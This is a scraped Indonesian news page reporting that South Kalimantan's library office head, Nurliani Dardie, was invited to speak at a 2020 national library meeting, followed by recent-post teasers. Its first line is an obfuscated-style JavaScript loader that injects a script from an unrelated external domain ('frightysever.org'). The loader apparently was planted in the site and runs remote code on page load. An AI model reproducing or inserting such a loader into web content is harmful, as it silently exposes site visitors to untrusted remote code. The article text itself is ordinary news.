(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pemprov Kalsel

Kadispersip Kalsel Diundang Jadi Pembicara Rakornas Perpustakaan 2020


KANALKALIMANTAN.COM, BANJARMASIN – Berbagai inovasi yang ditelurkan Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalsel memikat hati Perpustakaan Nasional RI mengundang Dra Hj Nurliani Dardie menjadi pembicara dalam Rapat Koordinasi Nasional yang akan diselenggarakan di Jakarta pada 26 Februari mendatang.

“Dilihat dari inovasi dan terobosan beliau, baik menata layanan, menyakinkan pengambil kebijakan daerah, dan juga kerjasama dengan media massa dan online dalam pemasyarakatan perpustakaan dan kegemaran membaca,” kata Kabag Perencanaan Perpusnas, Dr Adin Bondar, Selasa (11/2/2020) siang.

Bunda Nunung -sapaan akrabnya- akan menjadi pembicara dengan topik “Strategi Pengembangan dan Pembudayaan Kegemaran Membaca di Provinsi Kalimantan Selatan”. Nantinya, ia akan membagikan pengalamannya dalam mengelola Perpustakaan Palnam, salah satunya dengan mengoptimalkan segala potensi yang ada agar dapat meningkatkan minat baca, khususnya di Kalsel.

“Sebenarnya setiap perpustakaan daerah di Indonesia pasti punya keunggulan dan kekurangan masing-masing, tapi bagaimana dengan segala keterbatasan dan kekurangan yang ada itu kita bisa berdayakan seoptimal mungkin,” kata Bunda Nunung.

Sebenarnya, ini bukan kali pertama ia menjadi pembicara dalam Rakornas Perpusnas RI. Di tahun 2012 lalu, Bunda Nunung pernah menjadi pembicara saat ia masih memimpin Perpustakaan Daerah Kota Banjarbaru. “Tentu sangat berterimakasih atas kepercayaan yang diberikan Perpusnas,” ucapnya.

“Saya sudah mohon izin dan perkenan bapak Gubernur, dan memohon doa dan dukungan seluruh masyarakat Kalsel,” harapnya.

Terpisah, budayawan asal Semarang Prie GS mengapresiasi apa yang dilakukan Dispersip Kalsel dalam upaya menanamkan minat baca. Menurutnya, Kalsel beruntung dengan keadaan perpustakaan dan kearsipannya. “Setidaknya beginilah mestinya standar  kualitas perpustakaan di setiap daerah, menggambarkan martabat budaya membaca,” katanya. (kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Bie

 


Al Ghifari

Recent Posts

SPM Pendidikan Banjarbaru Capai Skor 84,57, BPMP Kalsel Beri Penghargaan ke Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan, Kebudayaan, Riset, dan Teknologi melalui Balai Penjamin Mutu Pendidikan (BPMP)… Read More

37 menit ago

Manasik Haji 2024 Ditutup, Ini Pesan Bupati Banjar untuk Jemaah Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Asisten Bidang Perekonomian dan Pembangunan Pemkab Banjar, Ikhwansyah, menutup kegiatan Manasik Haji… Read More

2 jam ago

D’Bakso Hadir Manjakan Lidah Warga Palangkaraya dengan Ragam Menu Bakso

KANALKALIMANTAN.COM, PALANGKARAYA – Bakso merupakan kuliner yang sangat populer dan disukai masyarakat Indonesia. Kelezatan olahan… Read More

2 jam ago

Gelar Rembuk Stunting, Pj Bupati HSU Inginkan Pencegahan Gagal Tumbuh Anak Secara Bersama

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) terus berupaya mempercepat pencegahan dan penurunan… Read More

3 jam ago

153 Pelamar Calon PPK Pilkada di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Kota Banjarmasin resmi menutup pendaftaran badan ad hoc… Read More

3 jam ago

Unjuk Rasa Mahasiswa Banjarmasin di Hari Buruh Sedunia

KANALKALIMANTAN.COM, BANJARMASIN - Memperingati Hari Buruh Sedunia atau May Day, puluhan mahasiswa dari Himpunan Mahasiswa… Read More

4 jam ago

This website uses cookies.